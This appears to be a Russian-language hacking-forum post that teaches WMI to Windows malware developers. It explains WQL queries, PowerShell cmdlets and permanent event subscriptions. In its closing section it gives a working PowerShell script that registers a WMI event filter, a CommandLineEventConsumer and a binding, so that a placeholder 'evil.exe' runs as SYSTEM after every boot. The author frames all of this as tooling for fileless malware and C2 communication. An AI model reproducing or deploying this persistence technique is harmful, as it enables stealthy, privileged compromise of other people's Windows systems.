Что такое WMI?
Windows Management Instrumentation (WMI) - это набор инструментов администратора, который предоставляет возможности для локального/удаленного администрирования операционной системы.
WMI доступен на операционных системах начиная с Windows NT, а преустановлен в качестве стандартного сервиса начиная с Windows 2000.
В чем подвох?
В данном случае никакого подвоха нет, мой дорогой друг. WMI - это не первый в мире инструмент удаленного администрирования, однако в контексте разработки malware под Windows данный инструмент может стать вашим бро. А все дело в том, что WMI работает с правами System, таким образом запускаемый через WMI код будет иметь теже права.
Архитектура WMI:
WMI - это имплементация стандартов WBEM и CIM, которые умные ребята придумали, чтобы облегчить жизнь администраторам и malware-разработчикам.
Эти стандарты, как и любые стандарты, описывают средства для выполнения некоторых операций, передачи данных и прочее. ((Гугл в помощь))
Классы и пространства имен
Информация хранится в формате WMI Object. Эти объекты в свою очередь являются инстансами классов. Многие из стандартных классов описаны в MSDN, так что вам туда.
Все классы можно запрашивать, используя встроенные язык WQL.
Классы располагаются в пространстве имен с помощью иерархической организации. Все пространство имен происходят от ROOT.
Все WMI настройки, включая стандартные пространство имен хранятся по следующему ключу:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM
Следующий PowerShell код может быть использован для получения всех WMI классов.
Bash:
function Get-WmiNamespace {
Param($Namespace='ROOT')
Get-WmiObject -Namespace $Namespace -Class __NAMESPACE | ForEach-Object {
($ns = '{0}\{1}' -f $_.__NAMESPACE, $_.Name)
Get-WmiNamespace -Namespace $ns
}
}
$WmiClasses = Get-WmiNamespace | ForEach-Object {
$Namespace = $_
Get-WmiObject -Namespace $Namespace -List |
ForEach-Object { $_.Path.Path }
} | Sort-Object -Unique
Работа с WMI
WMI предоставляет синтаксис для работы с WMI объектами.
SQL:
SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]>
Похоже на SQL? ЭТО WQL БЛ9Д!!!!
1. Работа с инстансами
Следующий код вернет нам все запущенные процессы, которые содержат "chrome"
SQL:
SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"
2. Работа с ивентами
Заданный запрос будет стриггерен при входе пользователя
SQL:
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2
3. Работа с мета информацией
Следующий запрос вернут нам список WMI классов, которые начинаются с Win32
SQL:
SELECT * FROM Meta_Class WHERE __Class LIKE "Win32%"
PowerShell
PowerShell - это тоже наш бро в работе с WMI. Следующие командлеты помогут нам в работе с WMI с помощью PowerShell:
Get-WmiObject
Get-CimAssociatedInstance
Get-CimClass
Get-CimInstance
Get-CimSession
Set-WmiInstance
Set-CimInstance
Invoke-WmiMethod
Invoke-CimMethod
New-CimInstance
New-CimSession
New-CimSessionOption
Register-CimIndicationEvent
Register-WmiEvent
Remove-CimInstance
Remove-WmiObject
Remove-CimSession
WMI Ивенты
Одна из самых мощных плюшек WMI для нас - это возможность WMI отвечать на WMI ивенты, т.е. выполнять некоторый код в ответ на состояние системы.
Существует два класса WMI ивентов:
Локальный: выполняется в контексте одного процесса.
Перманентный: хранится в WMI репозитории, запускается от SYSTEM, устойчив к reboot.
Требования
Для установки перманентного ивента нам необходимо:
1. event filter - ивент, который нас интересует.
2. event consumer - действие, которое выполнится в случае, когда ивент произошел.
3. filter to consumer binding - механизм, который свяжет наш filter и consumer.
Event Filter
Список фильтров вы можете оценить здесь -> ROOT\subscription:__EventFilter object
Cуществуют два вида фильтров:
1. Внутренние - это ивенты, которые выполняются при удалении/создании/модификации WMI класса, объекта.
__NamespaceOperationEvent
__NamespaceModificationEvent
__NamespaceDeletionEvent
__NamespaceCreationEvent
__ClassOperationEvent
__ClassDeletionEvent
__ClassModificationEvent
__ClassCreationEvent
__InstanceOperationEvent
__InstanceCreationEvent
__MethodInvocationEvent
__InstanceModificationEvent
__InstanceDeletionEvent
__TimerEvent
Эти ивенты очень полезны и позволяют отследить любое событие в операционной системе.
2. Внешние (Оставлю на вашу совесть)
Event Consumers
Event Consumer - это парень, который тушит пожар, когда объект "сарай" загорелся.
LogFileEventConsumer
ActiveScriptEventConsumer - выполняет VBScript
NTEventLogEventConsumer
SMTPEventConsumer
CommandLineEventConsumer - выполняет command-line код
PERSISTENCE
Да, мы долго к этому шли. (надеюсь, что мой краткий вольный пересказ не за*бал)
Следующий скрипт выполняет код при запуске системы от SYSTEM.
Bash:
$filterName='BotFilter'
$consumerName='BotConsumer'
$exePath='C:\Windows\System32\evil.exe'
$Query="SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 200 AND
TargetInstance.SystemUpTime < 320"
$WMIEventFilter=Set-WmiInstance -Class __EventFilter -NameSpace
"root\subscription" -Arguments
@{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query}
-ErrorAction Stop $WMIEventConsumer=Set-WmiInstance -Class CommandLineEventConsumer
-Namespace "root\subscription" -Arguments
@{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
Пример реальной малвари:
https://securelist.com/a-mining-multitool/86950/
Итог
WMI предоставляет нам огромные возможности. С его помощью можно сделать file less malware, реализовать все части нашего софта (начиная от разведки, до передачи данных на C2)
Подробнее ищите по данным ссылкам:
• https://attack.mitre.org/techniques/T1047/
• https://attack.mitre.org/techniques/T1084/
• http://la.trendmicro.com/media/misc/understanding-wmi-malware-research-paper-en.pdf
Последнее редактирование: